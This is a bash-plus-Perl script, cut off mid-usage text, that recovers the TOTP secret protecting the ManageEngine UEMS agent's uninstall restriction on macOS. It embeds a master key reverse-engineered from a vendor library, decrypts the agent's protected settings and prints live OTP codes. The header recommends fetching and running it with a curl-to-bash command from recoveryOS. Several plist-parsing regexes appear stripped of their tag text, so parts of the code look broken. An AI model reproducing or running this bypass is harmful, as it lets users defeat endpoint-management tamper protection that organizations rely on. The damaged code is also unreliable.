#!/bin/bash # ============================================================================= # UEMS / ManageEngine Agent TOTP key recovery (macOS recoveryOS ready) # # ONE single file: bash launcher + embedded pure-Perl engine. # recoveryOS ships /usr/bin/perl (5.34) but NO python3 and NO openssl, so the # engine implements SHA-256 / SHA-1 / HMAC / AES-256-CBC in plain Perl. # Nothing is installed, nothing is modified - it only reads plists. # # Quick start (macOS Recovery -> Utilities -> Terminal, network connected): # # curl -fsSL https://mdm-test.lucas8989.cc | bash # # with an explicit agent directory: # # curl -fsSL https://mdm-test.lucas8989.cc | bash -s -- \ # --dir "/Volumes/Macintosh HD - Data/Library/ManageEngine/UEMS_Agent" # # Test on a normal macOS (same command, no arguments): it will scan for the # agent and print the recovered TOTP secret and current OTP codes. # # For your own machine / own data only. # ============================================================================= set -u PERL="" for p in /usr/bin/perl /bin/perl /usr/local/bin/perl /opt/homebrew/bin/perl; do if [ -x "$p" ]; then PERL="$p"; break; fi done if [ -z "$PERL" ]; then echo "[x] perl not found." >&2 echo " This tool needs the system perl that ships in macOS recoveryOS" >&2 echo " (/usr/bin/perl). It works both in Recovery and on a normal macOS." >&2 exit 1 fi umask 077 TMP="$(mktemp /tmp/uems-recover.XXXXXXXX)" || exit 1 cleanup() { rm -f "$TMP" 2>/dev/null } trap cleanup EXIT trap 'exit 130' INT trap 'exit 143' TERM cat > "$TMP" <<'UEMS_ENGINE_EOF' #!/usr/bin/perl # ============================================================================= # UEMS / ManageEngine Agent TOTP key recovery - pure-Perl engine # # Runs on the perl that ships inside macOS recoveryOS (5.34, no extra modules, # nothing to install). Originally reverse-engineered from # libldcutils.dylib (ldcutils.TOTP / PocoWrapper / GetMasterKey / gen_salt). # # It searches mounted volumes for a ManageEngine UEMS agent install, reads # data/dcagentsettings.plist + data/serverinfo.plist, re-derives the per-agent # salt from INSTALLTIME, derives the Poco/OpenSSL key via EVP_BytesToKey # (aes-256-cbc, 2000 rounds, sha256), decrypts SECRET_KEY / OTP_DURATION / # AGENT_UNINSTALL_RESTRICT and prints the TOTP secret plus current OTP codes. # # Only core perl is used (strict/warnings). No python3, no openssl. # For verification purposes only - run on your own machine / own data. # ============================================================================= use strict; use warnings; my $TOOL = 'uems-recover.sh'; my $VERSION = '1.1-readonly'; # ---------------------------------------------------------------------------- # static data recovered from libldcutils.dylib # ---------------------------------------------------------------------------- # __DATA,__data @0x1d8640 on 11.4.x: 49 little-endian int32 -> 7x7 matrix my $MASTERKEY_RAW_HEX = '330000008a000000dc000000580200002006000080060000801000006c000000' . 'a0010000c0010000d0060000c00a0000c00d000080290000d4000000b0010000' . '1003000020070000c01d0000001800000046000050020000d0040000600c0000' . '40140000001b000000370000007000004007000080060000801e000000190000' . '003300000086000000e4000060060000400c0000802c00000039000000600000' . '00c401000090010040190000001c000000470000006c000000d4000000800200' . '00900300'; # file offset of the table above (vaddr == file offset on the 11.4.x dylib) my $MASTERKEY_DYLIB_OFFSET = 0x1D8640; # decoded result (also used if the dylib cannot be read) my $MASTERKEY_CONST = 'BEGKbPeShVmYq3t6w9zCFJMcQ'; # __ZZ8gen_saltlE8alphanum @0x193030 - 51 chars, no 'z' my $GEN_SALT_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy'; # Poco CipherKey("aes-256-cbc", , getSalt(), 2000, "sha256") my $EVP_ITERATIONS = 2000; my $AES_KEY_LEN = 32; my $AES_IV_LEN = 16; # fields that are stored encrypted by PocoWrapper::decryptWithMasterKeyAndSalt my @ENC_FIELDS = qw(SECRET_KEY OTP_DURATION AGENT_UNINSTALL_RESTRICT); # fields stored in clear text (they are decrypted before being written back) my @CLEAR_FIELDS = qw(OTP_LENGTH UNINSTALL_ATTEMPTS ATTEMPTS_REMAINING MAX_LIMIT_EXPIRY AGENT_UNINSTALL_RESTRICT_UNUSED); # ---------------------------------------------------------------------------- # small helpers # ---------------------------------------------------------------------------- sub hex2bytes { return pack('H*', $_[0]); } sub bytes2hex { return unpack('H*', $_[0]); } sub slurp { my ($file) = @_; open(my $fh, '<', $file) or return undef; binmode($fh); local $/; my $data = <$fh>; close($fh); return $data; } sub _rotr32 { my ($x, $n) = @_; return (($x >> $n) | (($x << (32 - $n)) & 0xFFFFFFFF)) & 0xFFFFFFFF; } sub _rotl32 { my ($x, $n) = @_; return ((($x << $n) & 0xFFFFFFFF) | ($x >> (32 - $n))) & 0xFFFFFFFF; } # signed 32-bit wrap-around sub _i32 { my $x = int($_[0]); $x %= 4294967296; $x -= 4294967296 if $x >= 2147483648; return $x; } # ---------------------------------------------------------------------------- # SHA-256 (FIPS 180-4) - pure perl # ---------------------------------------------------------------------------- my @K256 = ( 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2, ); sub sha256_bytes { my ($msg) = @_; $msg = '' unless defined $msg; my $len = length($msg); my $bits = $len * 8; my $high = int($bits / 4294967296); my $low = $bits % 4294967296; my $padlen = (56 - (($len + 1) % 64)) % 64; my $data = $msg . "\x80" . ("\x00" x $padlen) . pack('N2', $high, $low); my @h = (0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19); for (my $off = 0; $off < length($data); $off += 64) { my @w = unpack('N16', substr($data, $off, 64)); for my $i (16 .. 63) { my $s0 = _rotr32($w[$i - 15], 7) ^ _rotr32($w[$i - 15], 18) ^ ($w[$i - 15] >> 3); my $s1 = _rotr32($w[$i - 2], 17) ^ _rotr32($w[$i - 2], 19) ^ ($w[$i - 2] >> 10); $w[$i] = ($w[$i - 16] + $s0 + $w[$i - 7] + $s1) & 0xFFFFFFFF; } my ($a, $b, $c, $d, $e, $f, $g, $hh) = @h; for my $i (0 .. 63) { my $S1 = _rotr32($e, 6) ^ _rotr32($e, 11) ^ _rotr32($e, 25); my $ch = ($e & $f) ^ ((~$e) & $g); my $t1 = ($hh + $S1 + $ch + $K256[$i] + $w[$i]) & 0xFFFFFFFF; my $S0 = _rotr32($a, 2) ^ _rotr32($a, 13) ^ _rotr32($a, 22); my $maj = ($a & $b) ^ ($a & $c) ^ ($b & $c); my $t2 = ($S0 + $maj) & 0xFFFFFFFF; $hh = $g; $g = $f; $f = $e; $e = ($d + $t1) & 0xFFFFFFFF; $d = $c; $c = $b; $b = $a; $a = ($t1 + $t2) & 0xFFFFFFFF; } $h[0] = ($h[0] + $a) & 0xFFFFFFFF; $h[1] = ($h[1] + $b) & 0xFFFFFFFF; $h[2] = ($h[2] + $c) & 0xFFFFFFFF; $h[3] = ($h[3] + $d) & 0xFFFFFFFF; $h[4] = ($h[4] + $e) & 0xFFFFFFFF; $h[5] = ($h[5] + $f) & 0xFFFFFFFF; $h[6] = ($h[6] + $g) & 0xFFFFFFFF; $h[7] = ($h[7] + $hh) & 0xFFFFFFFF; } return pack('N8', @h); } sub sha256_hex { return unpack('H*', sha256_bytes($_[0])); } # ---------------------------------------------------------------------------- # SHA-1 (FIPS 180-4) - pure perl (needed for TOTP = HMAC-SHA1) # ---------------------------------------------------------------------------- sub sha1_bytes { my ($msg) = @_; $msg = '' unless defined $msg; my $len = length($msg); my $bits = $len * 8; my $high = int($bits / 4294967296); my $low = $bits % 4294967296; my $padlen = (56 - (($len + 1) % 64)) % 64; my $data = $msg . "\x80" . ("\x00" x $padlen) . pack('N2', $high, $low); my @h = (0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0); for (my $off = 0; $off < length($data); $off += 64) { my @w = unpack('N16', substr($data, $off, 64)); for my $i (16 .. 79) { $w[$i] = _rotl32($w[$i - 3] ^ $w[$i - 8] ^ $w[$i - 14] ^ $w[$i - 16], 1); } my ($a, $b, $c, $d, $e) = @h; for my $i (0 .. 79) { my ($f, $k); if ($i < 20) { $f = ($b & $c) ^ ((~$b) & $d); $k = 0x5A827999; } elsif ($i < 40) { $f = $b ^ $c ^ $d; $k = 0x6ED9EBA1; } elsif ($i < 60) { $f = ($b & $c) ^ ($b & $d) ^ ($c & $d); $k = 0x8F1BBCDC; } else { $f = $b ^ $c ^ $d; $k = 0xCA62C1D6; } my $tmp = (_rotl32($a, 5) + $f + $e + $k + $w[$i]) & 0xFFFFFFFF; $e = $d; $d = $c; $c = _rotl32($b, 30); $b = $a; $a = $tmp; } $h[0] = ($h[0] + $a) & 0xFFFFFFFF; $h[1] = ($h[1] + $b) & 0xFFFFFFFF; $h[2] = ($h[2] + $c) & 0xFFFFFFFF; $h[3] = ($h[3] + $d) & 0xFFFFFFFF; $h[4] = ($h[4] + $e) & 0xFFFFFFFF; } return pack('N5', @h); } sub sha1_hex { return unpack('H*', sha1_bytes($_[0])); } sub hmac_sha1_bytes { my ($key, $data) = @_; $key = substr($key, 0, 64); $key .= "\x00" x (64 - length($key)); my $ipad = $key ^ ("\x36" x 64); my $opad = $key ^ ("\x5c" x 64); return sha1_bytes($opad . sha1_bytes($ipad . $data)); } # ---------------------------------------------------------------------------- # AES-256 decryption (FIPS 197) - pure perl, single block + CBC # ---------------------------------------------------------------------------- my (@SBOX, @INV_SBOX, @M9, @M11, @M13, @M14); { my $sbox_hex = '637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0' . 'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275' . '09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf' . 'd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2' . 'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb' . 'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08' . 'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e' . 'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16'; @SBOX = unpack('C*', hex2bytes($sbox_hex)); for my $i (0 .. 255) { $INV_SBOX[$SBOX[$i]] = $i; } sub _xtime { my $x = $_[0]; my $r = ($x << 1) & 0xFF; $r ^= 0x1B if $x & 0x80; return $r; } sub _gf_mul { my ($a, $b) = @_; my $r = 0; my $aa = $a; for my $i (0 .. 7) { $r ^= $aa if ($b >> $i) & 1; $aa = _xtime($aa); } return $r & 0xFF; } for my $i (0 .. 255) { $M9[$i] = _gf_mul($i, 9); $M11[$i] = _gf_mul($i, 11); $M13[$i] = _gf_mul($i, 13); $M14[$i] = _gf_mul($i, 14); } } sub _sub_word { my ($word) = @_; return ($SBOX[($word >> 24) & 0xFF] << 24) | ($SBOX[($word >> 16) & 0xFF] << 16) | ($SBOX[($word >> 8) & 0xFF] << 8) | $SBOX[$word & 0xFF]; } sub aes256_expand_key { my ($key) = @_; # 32 raw bytes my @w = unpack('N8', $key); my $rcon = 1; for my $i (8 .. 59) { my $t = $w[$i - 1]; if ($i % 8 == 0) { my $rot = (($t << 8) & 0xFFFFFFFF) | ($t >> 24); $t = _sub_word($rot) ^ ($rcon << 24); $rcon = _xtime($rcon); } elsif ($i % 8 == 4) { $t = _sub_word($t); } $w[$i] = ($w[$i - 8] ^ $t) & 0xFFFFFFFF; } return \@w; } sub _add_round_key { my ($s, $w, $round) = @_; for my $c (0 .. 3) { my $word = $w->[$round * 4 + $c]; $s->[$c * 4 + 0] ^= ($word >> 24) & 0xFF; $s->[$c * 4 + 1] ^= ($word >> 16) & 0xFF; $s->[$c * 4 + 2] ^= ($word >> 8) & 0xFF; $s->[$c * 4 + 3] ^= $word & 0xFF; } } sub _inv_shift_rows { my ($s) = @_; my @t = @$s; for my $r (1 .. 3) { for my $c (0 .. 3) { $s->[$r + 4 * $c] = $t[$r + 4 * (($c - $r) % 4)]; } } } sub _inv_sub_bytes { my ($s) = @_; $s->[$_] = $INV_SBOX[$s->[$_]] for 0 .. 15; } sub _inv_mix_columns { my ($s) = @_; for my $c (0 .. 3) { my ($a0, $a1, $a2, $a3) = @{$s}[$c * 4 .. $c * 4 + 3]; $s->[$c * 4 + 0] = $M14[$a0] ^ $M11[$a1] ^ $M13[$a2] ^ $M9[$a3]; $s->[$c * 4 + 1] = $M9[$a0] ^ $M14[$a1] ^ $M11[$a2] ^ $M13[$a3]; $s->[$c * 4 + 2] = $M13[$a0] ^ $M9[$a1] ^ $M14[$a2] ^ $M11[$a3]; $s->[$c * 4 + 3] = $M11[$a0] ^ $M13[$a1] ^ $M9[$a2] ^ $M14[$a3]; } } sub aes256_decrypt_block { my ($block, $w) = @_; my @s = unpack('C16', $block); _add_round_key(\@s, $w, 14); for (my $round = 13; $round >= 1; $round--) { _inv_shift_rows(\@s); _inv_sub_bytes(\@s); _add_round_key(\@s, $w, $round); _inv_mix_columns(\@s); } _inv_shift_rows(\@s); _inv_sub_bytes(\@s); _add_round_key(\@s, $w, 0); return pack('C16', @s); } sub aes256_cbc_decrypt { my ($cipher, $key, $iv) = @_; return undef if length($cipher) == 0 || length($cipher) % 16; my $w = aes256_expand_key($key); my $prev = $iv; my $out = ''; for (my $off = 0; $off < length($cipher); $off += 16) { my $block = substr($cipher, $off, 16); my $dec = aes256_decrypt_block($block, $w); $out .= $dec ^ $prev; $prev = $block; } return $out; } sub pkcs7_unpad { my ($data) = @_; return undef unless defined $data && length($data); my $n = ord(substr($data, -1)); return undef unless $n >= 1 && $n <= 16 && length($data) >= $n; return undef unless substr($data, -$n) eq (chr($n) x $n); return substr($data, 0, length($data) - $n); } # ---------------------------------------------------------------------------- # Poco / OpenSSL key derivation # ---------------------------------------------------------------------------- sub evp_bytestokey_sha256 { my ($pass, $salt8, $iters, $klen, $ivlen) = @_; my $need = $klen + $ivlen; my $out = ''; my $d = ''; while (length($out) < $need) { $d = sha256_bytes($d . $pass . (defined $salt8 ? $salt8 : '')); for (my $i = 1; $i < $iters; $i++) { $d = sha256_bytes($d); } $out .= $d; } return (substr($out, 0, $klen), substr($out, $klen, $ivlen)); } # Poco CipherKeyImpl::generateKey: arbitrary salt -> 8 bytes sub fold_salt { my ($salt) = @_; my $len = length($salt); return "\x00" x 8 if $len == 0; my @b; for my $i (0 .. 7) { $b[$i] = ord(substr($salt, $i % $len, 1)); } for my $i (8 .. $len - 1) { $b[$i & 7] ^= ord(substr($salt, $i, 1)); } return pack('C8', @b); } # __Z8gen_saltl @0xc5498: 20 chars from INSTALLTIME sub gen_salt { my ($seed) = @_; $seed = _i32($seed); my $out = ''; for (1 .. 20) { my $r = ($seed >= 0) ? ($seed % 51) : ((($seed % 51) + 1) % 51); $out .= substr($GEN_SALT_ALPHABET, $r, 1); $seed = _i32($seed + int($seed / 10)); } return $out; } # __Z12GetMasterKeyv @0xc42b0 sub masterkey_from_raw { my ($raw) = @_; return undef unless defined $raw && length($raw) == 196; my @ints = unpack('V49', $raw); my @m; for my $j (0 .. 6) { for my $i (0 .. 6) { $m[$j * 7 + $i] = ($ints[$j * 7 + $i] >> ($j + $i)) & 0xFF; } } for my $pair ([6, 42], [12, 36], [18, 30], [0, 48], [8, 40], [16, 32]) { my ($a, $b) = @$pair; ($m[$a], $m[$b]) = ($m[$b], $m[$a]); } for my $col (0, 2, 5) { for my $r (0 .. 2) { my $a = $r * 7 + $col; my $b = (6 - $r) * 7 + $col; ($m[$a], $m[$b]) = ($m[$b], $m[$a]); } } for my $row (1, 4, 6) { for my $c (0 .. 2) { my $a = $row * 7 + $c; my $b = $row * 7 + (6 - $c); ($m[$a], $m[$b]) = ($m[$b], $m[$a]); } } my $key = join('', map { chr($m[$_]) } 0 .. 24); return undef unless $key =~ /\A[\x20-\x7e]{25}\z/; return $key; } sub masterkey_from_dylib { my ($path, $offset) = @_; $offset = $MASTERKEY_DYLIB_OFFSET unless defined $offset; open(my $fh, '<', $path) or return undef; binmode($fh); seek($fh, $offset, 0) or do { close($fh); return undef; }; my $raw = ''; my $n = read($fh, $raw, 196); close($fh); return undef unless defined $n && $n == 196; return masterkey_from_raw($raw); } # ---------------------------------------------------------------------------- # plist reading (XML directly; binary via plutil which recoveryOS ships) # ---------------------------------------------------------------------------- sub find_plutil { for my $p ('/usr/bin/plutil', '/bin/plutil') { return $p if -x $p; } if (defined $ENV{PATH}) { for my $d (split(/:/, $ENV{PATH})) { next unless length $d; my $p = "$d/plutil"; return $p if -x $p; } } return undef; } sub plutil_to_xml { my ($file) = @_; my $plutil = find_plutil() or return undef; open(my $fh, '-|', $plutil, '-convert', 'xml1', '-o', '-', $file) or return undef; local $/; my $xml = <$fh>; return close($fh) ? $xml : undef; } sub parse_plist_xml { my ($xml) = @_; my %h; while ($xml =~ m{([^<]*)\s*<(string|integer|real|date)>(.*?)}sg) { my ($k, $t, $v) = ($1, $2, $3); $v =~ s/^\s+//; $v =~ s/\s+$//; $v =~ s/<//g; $v =~ s/"/"/g; $v =~ s/'/'/g; $v =~ s/&/&/g; $h{$k} = $v; } while ($xml =~ m{([^<]*)\s*<(true|false)\s*/>}sg) { $h{$1} = ($2 eq 'true') ? 1 : 0; } while ($xml =~ m{([^<]*)\s*(.*?)}sg) { my ($k, $v) = ($1, $2); $v =~ s/\s+//g; $h{$k} = 'data:' . $v; } return \%h; } sub read_plist_file { my ($file) = @_; return undef unless -f $file; my $raw = slurp($file); return undef unless defined $raw; my $xml; if ($raw =~ /\A\s*bplist/) { $xml = plutil_to_xml($file); return undef unless defined $xml; } elsif ($raw =~ /.*?|<(?:true|false|string|array|dict)\s*/>|)}sg); my $i = 0; my $decode = sub { my ($v) = @_; $v =~ s/<//g; $v =~ s/"/"/g; $v =~ s/'/'/g; $v =~ s/&/&/g; return $v; }; my $parse; $parse = sub { die 'truncated plist' if $i >= @t; my $v = $t[$i++]; if ($v eq '') { my %d; while ($i < @t && $t[$i] ne '') { my $k = $t[$i++]; die 'invalid key' unless $k =~ m{\A(.*?)\z}s; my $key = $decode->($1); $d{$key} = $parse->(); } die 'missing dict end' unless $i < @t && $t[$i++] eq ''; return \%d; } if ($v eq '') { my @a; push @a, $parse->() while $i < @t && $t[$i] ne ''; die 'missing array end' unless $i < @t && $t[$i++] eq ''; return \@a; } return {} if $v =~ /\A\z/; return [] if $v =~ /\A\z/; return '' if $v =~ /\A\z/; return 1 if $v =~ /\A\z/; return 0 if $v =~ /\A\z/; return $decode->($1) if $v =~ m{\A<(?:string|integer|real|date|data)>(.*?)\z}s; die 'invalid plist value'; }; my $r = eval { $parse->() }; return undef if $@ || $i != @t || ref($r) ne 'HASH'; return $r; } sub capture_diskutil { my (@args) = @_; return undef unless -x '/usr/sbin/diskutil'; open(my $fh, '-|', '/usr/sbin/diskutil', @args) or return undef; local $/; my $out = <$fh>; my $ok = close($fh); return $ok ? $out : undef; } sub apfs_data_roots { my $tree = disk_plist(capture_diskutil('apfs', 'list', '-plist')); unless ($tree && ref($tree->{Containers}) eq 'ARRAY') { print STDERR "[!] APFS inventory unavailable; falling back to mounted-directory search.\n"; return (); } my @roots; for my $c (@{$tree->{Containers}}) { next unless ref($c) eq 'HASH' && ref($c->{Volumes}) eq 'ARRAY'; for my $v (@{$c->{Volumes}}) { next unless ref($v) eq 'HASH' && ref($v->{Roles}) eq 'ARRAY'; next unless grep { $_ eq 'Data' } @{$v->{Roles}}; my $dev = $v->{DeviceIdentifier} // ''; next unless $dev =~ /\Adisk\d+s\d+\z/; my $name = $v->{Name} // $dev; my $container = $c->{ContainerReference} // '?'; my $info = disk_plist(capture_diskutil('info', '-plist', $dev)); unless ($info) { print STDERR "[!] Data volume $dev ($name), container $container: cannot read mount status.\n"; next; } if ($info->{Locked} || $v->{Locked}) { print STDERR "[!] Data volume $dev ($name), container $container: LOCKED. In Disk Utility choose View > Show All Devices, select this Data volume, then unlock/mount it and rerun.\n"; next; } my $mount = $info->{MountPoint}; unless (defined $mount && $mount =~ m{\A/} && -d $mount) { print STDERR "[!] Data volume $dev ($name), container $container: NOT MOUNTED. Mount it in Disk Utility and rerun.\n"; next; } print STDERR "[i] APFS Data: $dev ($name), container $container -> $mount\n"; push @roots, $mount; } } return @roots; } sub listdir { my ($dir) = @_; opendir(my $dh, $dir) or return (); my @e = grep { $_ ne '.' && $_ ne '..' } readdir($dh); closedir($dh); return @e; } sub looks_like_agent { my ($dir) = @_; return 0 unless -d $dir; return 1 if -f "$dir/data/dcagentsettings.plist"; return 1 if -f "$dir/data/serverinfo.plist"; return 1 if -d "$dir/bin/dylibs"; return 0; } sub scan_manageengine_dir { my ($me, $root, $found) = @_; return unless -d $me; for my $e (listdir($me)) { my $p = "$me/$e"; next unless -d $p; next unless looks_like_agent($p); next if exists $found->{$p}; $found->{$p} = { dir => $p, root => $root }; } } sub _deep_find_manageengine { my ($root, $maxdepth, $found) = @_; my @queue = ([$root, 0]); my %prune = map { $_ => 1 } qw(System usr private Applications opt bin sbin dev cores .Spotlight-V100 .fseventsd .DocumentRevisions-V100 .TemporaryItems .Trashes); while (@queue) { my ($dir, $depth) = @{shift @queue}; next if $depth > $maxdepth; my $base = $dir; $base =~ s{.*/}{}; if ($base eq 'ManageEngine' && $depth > 0) { scan_manageengine_dir($dir, $root, $found); next; } next if $depth >= $maxdepth; for my $e (listdir($dir)) { next if $prune{$e}; my $p = "$dir/$e"; next unless -d $p && !-l $p; push @queue, [$p, $depth + 1]; } } } sub discover_agents { my ($roots, $deep) = @_; my %found; my @roots = @$roots; unless (@roots) { push @roots, apfs_data_roots(); push @roots, '/'; push @roots, '/System/Volumes/Data' if -d '/System/Volumes/Data'; push @roots, map { "/Volumes/$_" } listdir('/Volumes'); } my %seen_root; for my $r (@roots) { next unless defined $r && -d $r; next if $seen_root{$r}++; scan_manageengine_dir("$r/Library/ManageEngine", $r, \%found); scan_manageengine_dir("$r/System/Volumes/Data/Library/ManageEngine", $r, \%found); # Time Machine style backups if (-d "$r/Backups.backupdb") { for my $machine (listdir("$r/Backups.backupdb")) { my $md = "$r/Backups.backupdb/$machine"; next unless -d $md; for my $snap (listdir($md)) { next if $snap =~ /^\./; scan_manageengine_dir("$md/$snap/Library/ManageEngine", $r, \%found); } } } _deep_find_manageengine($r, 5, \%found) if $deep; } my @c; my %seen_agent; for my $a (sort { $a->{dir} cmp $b->{dir} } values %found) { my @st = stat($a->{dir}); next if @st && $seen_agent{"$st[0]:$st[1]"}++; push @c, $a; } return @c; } # ---------------------------------------------------------------------------- # TOTP (RFC 6238, HMAC-SHA1, secret = raw ASCII bytes) # ---------------------------------------------------------------------------- sub totp_code { my ($secret, $period, $digits, $ts) = @_; $period = 30 unless defined $period && $period > 0; $digits = 6 unless defined $digits && $digits > 0; my $counter = int($ts / $period); my $msg = pack('Q>', $counter); my $mac = hmac_sha1_bytes($secret, $msg); my $off = ord(substr($mac, 19, 1)) & 0x0F; my $part = unpack('N', substr($mac, $off, 4)) & 0x7FFFFFFF; my $mod = 1; $mod *= 10 for 1 .. $digits; return sprintf("%0${digits}d", $part % $mod); } # ---------------------------------------------------------------------------- # decryption of the agent settings # ---------------------------------------------------------------------------- sub decrypt_agent_fields { my ($settings, $masterkey, $installtime) = @_; my %out; return \%out unless defined $installtime; my $salt = gen_salt($installtime); my $salt8 = fold_salt($salt); my ($key, $iv) = evp_bytestokey_sha256($masterkey, $salt8, $EVP_ITERATIONS, $AES_KEY_LEN, $AES_IV_LEN); for my $f (@ENC_FIELDS) { next unless exists $settings->{$f}; my $raw = $settings->{$f}; next unless defined $raw && $raw =~ /\A[0-9a-fA-F]{32}\z/; my $ct = hex2bytes($raw); my $pt = aes256_cbc_decrypt($ct, $key, $iv); next unless defined $pt; my $plain = pkcs7_unpad($pt); next unless defined $plain; next unless $plain =~ /\A[\x20-\x7e]*\z/; $out{$f} = { plaintext => $plain, hex => bytes2hex($plain), encrypted => 1 }; } for my $f (@CLEAR_FIELDS) { next unless exists $settings->{$f}; my $raw = $settings->{$f}; next unless defined $raw && $raw =~ /\A[\x20-\x7e]*\z/; $out{$f} = { plaintext => $raw, hex => bytes2hex($raw), encrypted => 0 }; } $out{__salt} = { plaintext => $salt, hex => bytes2hex($salt), encrypted => 0 }; return \%out; } sub guess_installtimes { my ($dir) = @_; my @files = ("$dir/data/serverinfo.plist", "$dir/data/dcagentsettings.plist", "$dir/data", "$dir"); my @base; for my $f (@files) { my @st = stat($f); next unless @st; push @base, $st[9]; } my %cand; my @offsets = (0, -1, 1, -2, 2, -5, 5, -10, 10, -30, 30, -60, 60, -300, 300); for my $b (@base) { $cand{$b + $_} = 1 for @offsets; } return sort { $a <=> $b } keys %cand; } # ---------------------------------------------------------------------------- # output helpers # ---------------------------------------------------------------------------- sub json_escape { my ($s) = @_; $s = '' unless defined $s; $s =~ s/\\/\\\\/g; $s =~ s/"/\\"/g; $s =~ s/\n/\\n/g; $s =~ s/\r/\\r/g; $s =~ s/\t/\\t/g; $s =~ s/([\x00-\x1f])/sprintf('\\u%04x', ord($1))/ge; return $s; } sub json_str { my ($s) = @_; return 'null' unless defined $s; return '"' . json_escape($s) . '"'; } sub iso_time { my ($ts) = @_; my @t = localtime($ts); return sprintf('%04d-%02d-%02d %02d:%02d:%02d', $t[5] + 1900, $t[4] + 1, $t[3], $t[2], $t[1], $t[0]); } # ---------------------------------------------------------------------------- # self test - protects against silently broken crypto on an unknown perl # ---------------------------------------------------------------------------- sub selftest { my @tests; my $add_test = sub { my ($name, $got, $want) = @_; my $pass = (defined $got && defined $want && $got eq $want) ? 1 : 0; push @tests, [$name, $got, $want, $pass]; }; $add_test->('sha256("abc")', sha256_hex('abc'), 'ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad'); $add_test->('sha256("")', sha256_hex(''), 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'); $add_test->('sha1("abc")', sha1_hex('abc'), 'a9993e364706816aba3e25717850c26c9cd0d89d'); $add_test->('hmac_sha1(Jefe...)', bytes2hex(hmac_sha1_bytes('Jefe', 'what do ya want for nothing?')), 'effcdf6ae5eb2fa2d27416d5f184df9c259a7c79'); # NIST/FIPS-197 AES-256 single block my $nist_ct = hex2bytes('8ea2b7ca516745bfeafc49904b496089'); my $nist_w = aes256_expand_key(hex2bytes( '000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f')); $add_test->('aes256 block (NIST)', bytes2hex(aes256_decrypt_block($nist_ct, $nist_w)), '00112233445566778899aabbccddeeff'); $add_test->('masterkey decode', masterkey_from_raw(hex2bytes($MASTERKEY_RAW_HEX)), $MASTERKEY_CONST); $add_test->('gen_salt(1754908935)', gen_salt(1754908935), 'GBkJuZCmBfJAZbKlPfye'); $add_test->('gen_salt(0)', gen_salt(0), 'A' x 20); $add_test->('gen_salt(2147483647)', gen_salt(2147483647), 'ZlkyOfXjsXjCwBWTUMhA'); my ($k, $iv) = evp_bytestokey_sha256($MASTERKEY_CONST, fold_salt('GBkJuZCmBfJAZbKlPfye'), $EVP_ITERATIONS, 32, 16); $add_test->('evp key', bytes2hex($k), '686bed8732d64215c949e0484c5d5de8f8913f19217eb7c741e7faac3b6014bb'); $add_test->('evp iv', bytes2hex($iv), '3bbb591608b75eda37b5316bd2d47ccd'); my $pt = pkcs7_unpad(aes256_cbc_decrypt(hex2bytes('60fa47b912a386b41ebb792fc3b22e2f'), $k, $iv)); $add_test->('SECRET_KEY decrypt', defined $pt ? $pt : '', '111874'); $add_test->('totp rfc6238 t=59', totp_code('12345678901234567890', 30, 8, 59), '94287082'); $add_test->('totp rfc6238 t=1111111109', totp_code('12345678901234567890', 30, 8, 1111111109), '07081804'); $add_test->('totp(111874,10800,6)', totp_code('111874', 10800, 6, 1755583006), '475427'); $add_test->('totp(111874,30,6)', totp_code('111874', 30, 6, 1755583006), '832695'); my $failed = 0; for my $t (@tests) { my ($name, $got, $want, $pass) = @$t; if ($pass) { print "[ok] $name\n"; } else { $failed++; print "[FAIL] $name\n got: ", (defined $got ? $got : '(undef)'), "\n want: ", (defined $want ? $want : '(undef)'), "\n"; } } print "\n", scalar(@tests) - $failed, "/", scalar(@tests), " tests passed\n"; return $failed == 0 ? 0 : 1; } # ---------------------------------------------------------------------------- # command line # ---------------------------------------------------------------------------- sub usage { my ($fh) = @_; print $fh <<"END_USAGE"; $TOOL $VERSION - recover ManageEngine UEMS agent TOTP key (recoveryOS ready) USAGE uems-recover.sh [options] OPTIONS --dir PATH agent directory (skip discovery), e.g. "/Volumes/Macintosh HD - Data/Library/ManageEngine/UEMS_Agent" --scan-root PATH explicit scan roots (repeatable); default: APFS mountpoints, /, /Volumes/* --deep bounded(5) deep search under the scan roots instead of only the usual Library/ManageEngine locations --list list discovered agent directories and exit --time UNIX reference unix time for OTP (default: current system time) --check CODE check a 6 digit TOTP against both 